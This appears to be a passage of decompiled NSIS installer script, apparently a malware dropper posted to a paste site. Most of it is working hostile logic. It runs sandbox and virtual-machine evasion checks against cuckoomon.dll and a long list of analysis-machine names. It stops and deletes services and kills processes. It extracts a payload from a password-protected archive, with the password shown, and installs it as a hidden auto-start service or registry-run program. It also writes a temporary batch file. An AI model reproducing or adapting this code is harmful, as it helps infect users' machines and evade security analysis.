  916. Push kernel32::GetModuleHandle(t 'cuckoomon.dll') i.R0
  917. RegisterDLL š€\System.dll Call 0
  918. IntCmp 398 117 920 0 0 0
  919. Goto 921
  920. Goto 923
  921. StrCpy $R0 "TRUE"
  922. Goto 924
  923. StrCpy $R0 "FALSE"
  924. Pop $R1
  925. Return
  926. Push ‹€
  927. Call 1400
  928. File š€\System.dll
  929. SetFlag 13 0
  930. Push kernel32::GetComputerNameA(t.R1, *i1024 R4)i.R2
  931. RegisterDLL š€\System.dll Call 0
  932. Call 1400
  933. File š€\System.dll
  934. SetFlag 13 0
  935. Push User32::CharLower(t R1 R1)i
  936. RegisterDLL š€\System.dll Call 0
  937. Push ‹€
  938. Push xteam-
  939. Call 322
  940. Pop $R0
  941. IntCmp 398 117 943 0 0 0
  942. Goto 1178
  943. Push ‹€
  944. Push vmscan-pc
  945. Call 322
  946. Pop $R0
  947. IntCmp 398 117 949 0 0 0
  948. Goto 1178
  949. Push ‹€
  950. Push brbrb-
  951. Call 322
  952. Pop $R0
  953. IntCmp 398 117 955 0 0 0
  954. Goto 1178
  955. Push ‹€
  956. Push tu-4nh09smcg1hc
  957. Call 322
  958. Pop $R0
  959. IntCmp 398 117 961 0 0 0
  960. Goto 1178
  961. Push ‹€
  962. Push antony-pc
  963. Call 322
  964. Pop $R0
  965. IntCmp 398 117 967 0 0 0
  966. Goto 1178
  967. Push ‹€
  968. Push sandbox
  969. Call 322
  970. Pop $R0
  971. IntCmp 398 117 973 0 0 0
  972. Goto 1178
  973. Push ‹€
  974. Push xp3-host
  975. Call 322
  976. Pop $0
  977. IntCmp 74 117 979 0 0 0
  978. Goto 1178
  979. Push ‹€
  980. Push win-4163c97lwca
  981. Call 322
  982. Pop $R0
  983. IntCmp 398 117 985 0 0 0
  984. Goto 1178
  985. Push ‹€
  986. Push none-dusez58jo1
  987. Call 322
  988. Pop $R0
  989. IntCmp 398 117 991 0 0 0
  990. Goto 1178
  991. Push ‹€
  992. Push ioavm
  993. Call 322
  994. Pop $R0
  995. IntCmp 398 117 997 0 0 0
  996. Goto 1178
  997. Push ‹€
  998. Push placehol-6f699a
  999. Call 322
  1000. Pop $R0
  1001. IntCmp 398 117 1003 0 0 0
  1002. Goto 1178
  1003. Push ‹€
  1004. Push elvis-pc
  1005. Call 322
  1006. Pop $R0
  1007. IntCmp 398 117 1009 0 0 0
  1008. Goto 1178
  1009. Push ‹€
  1010. Push tequilaboomboom
  1011. Call 322
  1012. Pop $R0
  1013. IntCmp 398 117 1015 0 0 0
  1014. Goto 1178
  1015. Push ‹€
  1016. Push maltest
  1017. Call 322
  1018. Pop $R0
  1019. IntCmp 398 117 1021 0 0 0
  1020. Goto 1178
  1021. Push ‹€
  1022. Push ad-europe-
  1023. Call 322
  1024. Pop $R0
  1025. IntCmp 398 117 1027 0 0 0
  1026. Goto 1178
  1027. Push ‹€
  1028. Push windowshost
  1029. Call 322
  1030. Pop $R0
  1031. IntCmp 398 117 1033 0 0 0
  1032. Goto 1178
  1033. Push ‹€
  1034. Push wilbert-
  1035. Call 322
  1036. Pop $R0
  1037. IntCmp 398 117 1039 0 0 0
  1038. Goto 1178
  1039. Push ‹€
  1040. Push cws0
  1041. Call 322
  1042. Pop $R0
  1043. IntCmp 398 117 1045 0 0 0
  1044. Goto 1178
  1045. Push ‹€
  1046. Push cws1
  1047. Call 322
  1048. Pop $R0
  1049. IntCmp 398 117 1051 0 0 0
  1050. Goto 1178
  1051. Push ‹€
  1052. Push template
  1053. Call 322
  1054. Pop $R0
  1055. IntCmp 398 117 1057 0 0 0
  1056. Goto 1178
  1057. Push ‹€
  1058. Push cuckoo
  1059. Call 322
  1060. Pop $R0
  1061. IntCmp 398 117 1063 0 0 0
  1062. Goto 1178
  1063. Push ‹€
  1064. Push virtual
  1065. Call 322
  1066. Pop $R0
  1067. IntCmp 398 117 1069 0 0 0
  1068. Goto 1178
  1069. Push ‹€
  1070. Push rats-pc
  1071. Call 322
  1072. Pop $R0
  1073. IntCmp 398 117 1075 0 0 0
  1074. Goto 1178
  1075. Push ‹€
  1076. Push JOHNNYBRAVO-PC
  1077. Call 322
  1078. Pop $R0
  1079. IntCmp 398 117 1081 0 0 0
  1080. Goto 1178
  1081. Push ‹€
  1082. Push TEST-
  1083. Call 322
  1084. Pop $R0
  1085. IntCmp 398 117 1087 0 0 0
  1086. Goto 1178
  1087. Push ‹€
  1088. Push sandbox-
  1089. Call 322
  1090. Pop $R0
  1091. IntCmp 398 117 1093 0 0 0
  1092. Goto 1178
  1093. Push ‹€
  1094. Push ANTONY-PC
  1095. Call 322
  1096. Pop $R0
  1097. IntCmp 398 117 1099 0 0 0
  1098. Goto 1178
  1099. Push ‹€
  1100. Push CTP79LO-PC
  1101. Call 322
  1102. Pop $R0
  1103. IntCmp 398 117 1105 0 0 0
  1104. Goto 1178
  1105. Push ‹€
  1106. Push GUMRD-PC
  1107. Call 322
  1108. Pop $R0
  1109. IntCmp 398 117 1111 0 0 0
  1110. Goto 1178
  1111. Push ‹€
  1112. Push ITYTS-PC
  1113. Call 322
  1114. Pop $R0
  1115. IntCmp 398 117 1117 0 0 0
  1116. Goto 1178
  1117. Push ‹€
  1118. Push OIYKL-PC
  1119. Call 322
  1120. Pop $R0
  1121. IntCmp 398 117 1123 0 0 0
  1122. Goto 1178
  1123. Push ‹€
  1124. Push VQK4F8-PC
  1125. Call 322
  1126. Pop $R0
  1127. IntCmp 398 117 1129 0 0 0
  1128. Goto 1178
  1129. Push ‹€
  1130. Push WZUKB-PC
  1131. Call 322
  1132. Pop $R0
  1133. IntCmp 398 117 1135 0 0 0
  1134. Goto 1178
  1135. Push ‹€
  1136. Push Y2YGZSHVNDTS-PC
  1137. Call 322
  1138. Pop $R0
  1139. IntCmp 398 117 1141 0 0 0
  1140. Goto 1178
  1141. Push ‹€
  1142. Push LUSER-PC
  1143. Call 322
  1144. Pop $R0
  1145. IntCmp 398 117 1147 0 0 0
  1146. Goto 1178
  1147. Push ‹€
  1148. Push ABBY-PC
  1149. Call 322
  1150. Pop $R0
  1151. IntCmp 398 117 1153 0 0 0
  1152. Goto 1178
  1153. Push ‹€
  1154. Push ADMINIS
  1155. Call 322
  1156. Pop $R0
  1157. IntCmp 398 117 1159 0 0 0
  1158. Goto 1178
  1159. Push ‹€
  1160. Push RATS
  1161. Call 322
  1162. Pop $R0
  1163. IntCmp 398 117 1165 0 0 0
  1164. Goto 1178
  1165. Push ‹€
  1166. Push PUBLIC-
  1167. Call 322
  1168. Pop $R0
  1169. IntCmp 398 117 1171 0 0 0
  1170. Goto 1178
  1171. Push ‹€
  1172. Push ABC-
  1173. Call 322
  1174. Pop $R0
  1175. IntCmp 398 117 1177 0 0 0
  1176. Goto 1178
  1177. Goto 1180
  1178. StrCpy $R0 "TRUE"
  1179. Goto 1181
  1180. StrCpy $R0 "FALSE"
  1181. Pop $R1
  1182. Return
  1183. Call 406
  1184. StrCmp  "Š€" "TRUE" 0 1186 0
  1185. Goto 1211
  1186. Call 343
  1187. StrCmp  "Š€" "TRUE" 0 1189 0
  1188. Goto 1211
  1189. Call 641
  1190. StrCmp  "Š€" "TRUE" 0 1192 0
  1191. Goto 1211
  1192. Call 730
  1193. StrCmp  "Š€" "TRUE" 0 1195 0
  1194. Goto 1211
  1195. Call 849
  1196. StrCmp  "Š€" "TRUE" 0 1198 0
  1197. Goto 1211
  1198. Call 371
  1199. StrCmp  "Š€" "TRUE" 0 1201 0
  1200. Goto 1211
  1201. Call 441
  1202. StrCmp  "Š€" "TRUE" 0 1204 0
  1203. Goto 1211
  1204. Call 540
  1205. StrCmp  "Š€" "TRUE" 0 1207 0
  1206. Goto 1211
  1207. Call 926
  1208. StrCmp  "Š€" "TRUE" 0 1210 0
  1209. Goto 1211
  1210. Goto 1213
  1211. StrCpy $R0 "TRUE"
  1212. Goto 1214
  1213. StrCpy $R0 "FALSE"
  1214. Return
  1215. SetOutPath ™€
  1216. SetFlag 2 117
  1217. Call 1183
  1218. StrCmp  "Š€" "TRUE" 0 1220 0
  1219. Goto 1306
  1220. SetOutPath ™€
  1221. SetFlag 2 117
  1222. ReadRegStr 16 2147483649 4245 4259 0
  1223. ReadRegStr 17 2147483649 4245 4267 0
  1224. ReadRegStr 18 2147483649 4245 4271 0
  1225. ReadRegStr 19 2147483649 4245 4278 0
  1226. Call 1400
  1227. File š€\nsExec.dll
  1228. SetFlag 13 0
  1229. Push cmd /c net stop € /y
  1230. RegisterDLL š€\nsExec.dll Exec 0
  1231. Call 1400
  1232. File š€\nsExec.dll
  1233. SetFlag 13 0
  1234. Push cmd /c sc delete €
  1235. RegisterDLL š€\nsExec.dll Exec 0
  1236. Call 1400
  1237. File š€\nsExec.dll
  1238. SetFlag 13 0
  1239. Push cmd /c taskkill /f /im "“€"
  1240. RegisterDLL š€\nsExec.dll Exec 0
  1241. DelReg 0 2147483649 4379 4425
  1242. Delete ’€\“€
  1243. Call 1400
  1244. File š€\UserInfo.dll
  1245. SetFlag 13 0
  1246. RegisterDLL š€\UserInfo.dll GetAccountType 0
  1247. Pop $R5
  1248. StrCmp  "€" "Admin" 1249 1283 0
  1249. WriteReg 2147483649 4245 4259 4479 1
  1250. WriteReg 2147483649 4245 4267 4488 1
  1251. WriteReg 2147483649 4245 4271 4497 1
  1252. WriteReg 2147483649 4245 4278 4519 1
  1253. ReadRegStr 16 2147483649 4245 4259 0
  1254. ReadRegStr 17 2147483649 4245 4267 0
  1255. ReadRegStr 18 2147483649 4245 4271 0
  1256. ReadRegStr 19 2147483649 4245 4278 0
  1257. SetOutPath š€
  1258. File 7za.exe
  1259. File archive.7z
  1260. Call 1400
  1261. File š€\nsExec.dll
  1262. SetFlag 13 0
  1263. Push 7za.exe x archive.7z -pX9e5UD6AN1vQCK08DM4O -o"’€" -aoa
  1264. RegisterDLL š€\nsExec.dll Exec 0
  1265. Rename ’€\archive.cab ’€\“€ 0
  1266. IfFileExists ’€\“€ 0 1306
  1267. Call 1400
  1268. File š€\nsExec.dll
  1269. SetFlag 13 0
  1270. Push sc create € binpath= "’€\“€ -service" type= own start= auto displayname= ""
  1271. RegisterDLL š€\nsExec.dll Exec 0
  1272. Call 1400
  1273. File š€\nsExec.dll
  1274. SetFlag 13 0
  1275. Push sc description € ""
  1276. RegisterDLL š€\nsExec.dll Exec 0
  1277. Call 1400
  1278. File š€\nsExec.dll
  1279. SetFlag 13 0
  1280. Push net start € /y
  1281. RegisterDLL š€\nsExec.dll Exec 0
  1282. Goto 1306
  1283. WriteReg 2147483649 4245 4259 4479 1
  1284. WriteReg 2147483649 4245 4267 4488 1
  1285. WriteReg 2147483649 4245 4271 4497 1
  1286. WriteReg 2147483649 4245 4278 4519 1
  1287. ReadRegStr 16 2147483649 4245 4259 0
  1288. ReadRegStr 17 2147483649 4245 4267 0
  1289. ReadRegStr 18 2147483649 4245 4271 0
  1290. ReadRegStr 19 2147483649 4245 4278 0
  1291. SetOutPath š€
  1292. File 7za.exe
  1293. File archive.7z
  1294. Call 1400
  1295. File š€\nsExec.dll
  1296. SetFlag 13 0
  1297. Push 7za.exe x archive.7z -pX9e5UD6AN1vQCK08DM4O -o"’€" -aoa
  1298. RegisterDLL š€\nsExec.dll Exec 0
  1299. IfFileExists ’€\“€ 0 1306
  1300. WriteReg 2147483649 4379 4425 4429 1
  1301. Call 1400
  1302. File š€\nsExec.dll
  1303. SetFlag 13 0
  1304. Push cmd /c start "" "’€\“€"
  1305. RegisterDLL š€\nsExec.dll Exec 0
  1306. Return
  1307. Call 1400
  1308. File š€\System.dll
  1309. SetFlag 13 0
  1310. Push kernel32::CreateMutexA(i 0, i 0, t "‚€") i .r1 ?e
  1311. RegisterDLL š€\System.dll Call 0
  1312. Pop $R0
  1313. StrCmp  "Š€" "0" 1315 0 0
  1314. Abort
  1315. Return
  1316. StrCpy $R3 "›€"
  1317. Call 1400
  1318. File š€\System.dll
  1319. SetFlag 13 0
  1320. Push kernel32::GetShortPathName(t R3, t.R3,i 1024)
  1321. RegisterDLL š€\System.dll Call 0
  1322. Call 1400
  1323. File š€\System.dll
  1324. SetFlag 13 0
  1325. Push kernel32::GetTempPathA(i 1024, t .R0) i .r2
  1326. RegisterDLL š€\System.dll Call 0
  1327. Call 1400
  1328. File š€\System.dll
  1329. SetFlag 13 0
  1330. Push kernel32::GetShortPathName(t R0, t.R0,i 1024)
  1331. RegisterDLL š€\System.dll Call 0
  1332. StrCpy $R0 "Š€1.bat"
  1333. FileOpen 11 1073741824 2 398
  1334. FileWrite 11 4994 0
  1335. FileWrite 11 5001 0
  1336. FileWrite 11 5028 0
  1337. FileWrite 11 5038 0
  1338. FileWrite 11 5062 0
  1339. FileClose 11
  1340. Push Š€
  1341. Call 1343
  1342. Goto 1398
  1343. Call 1400
  1344. File š€\System.dll
  1345. SetFlag 13 0
  1346. Push S
  1347. RegisterDLL š€\System.dll Store 0
  1348. Push error
  1349. Call 1400
  1350. File š€\System.dll
  1351. SetFlag 13 0
  1352. Push 72
  1353. RegisterDLL š€\System.dll Alloc 0
  1354. Pop $2
  1355. Call 1400
  1356. File š€\System.dll
  1357. SetFlag 13 0
  1358. Push *‚€(i72)
  1359. RegisterDLL š€\System.dll Call 0
  1360. Call 1400
  1361. File š€\System.dll
  1362. SetFlag 13 0
  1363. Push *(i,i,i,i)i.r3
  1364. RegisterDLL š€\System.dll Call 0
  1365. Exch
  1366. Call 1400
  1367. File š€\System.dll
  1368. SetFlag 13 0
  1369. Push kernel32::CreateProcess(i0, ts, i0, i0, i0, i0x8000000, i0, i0, ir2, ir3)i.r4
  1370. RegisterDLL š€\System.dll Call 0
  1371. Pop $6
  1372. Call 1400
  1373. File š€\System.dll
  1374. SetFlag 13 0
  1375. Push kernel32::GetExitCodeProcess(ir4, *i.s)
  1376. RegisterDLL š€\System.dll Call 0
  1377. Call 1400
  1378. File š€\System.dll
  1379. SetFlag 13 0
  1380. Push kernel32::CloseHandle(ir4)
  1381. RegisterDLL š€\System.dll Call 0
  1382. Call 1400
  1383. File š€\System.dll
  1384. SetFlag 13 0
  1385. Push ‚€
  1386. RegisterDLL š€\System.dll Free 0
  1387. Call 1400
  1388. File š€\System.dll
  1389. SetFlag 13 0
  1390. Push ƒ€
  1391. RegisterDLL š€\System.dll Free 0
  1392. Call 1400
  1393. File š€\System.dll
  1394. SetFlag 13 0
  1395. Push L
  1396. RegisterDLL š€\System.dll Store 0
  1397. Return
  1398. Pop $0
  1399. Return
  1400. SetFlag 13 115
  1401. StrCmp  "š€" "" 0 1410 0
  1402. Push €€
  1403. SetFlag 2 0
  1404. GetTempFileName  ™€
  1405. Delete 8 €€
  1406. SetOutPath €€
  1407. IfFlag 1411 0 2 0
  1408. StrCpy $PLUGINSDIR "€€"
  1409. Pop $0
  1410. Return
  1411. MessageBox 2097168 5257 0 0 0
  1412. Quit
  1413. Return
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement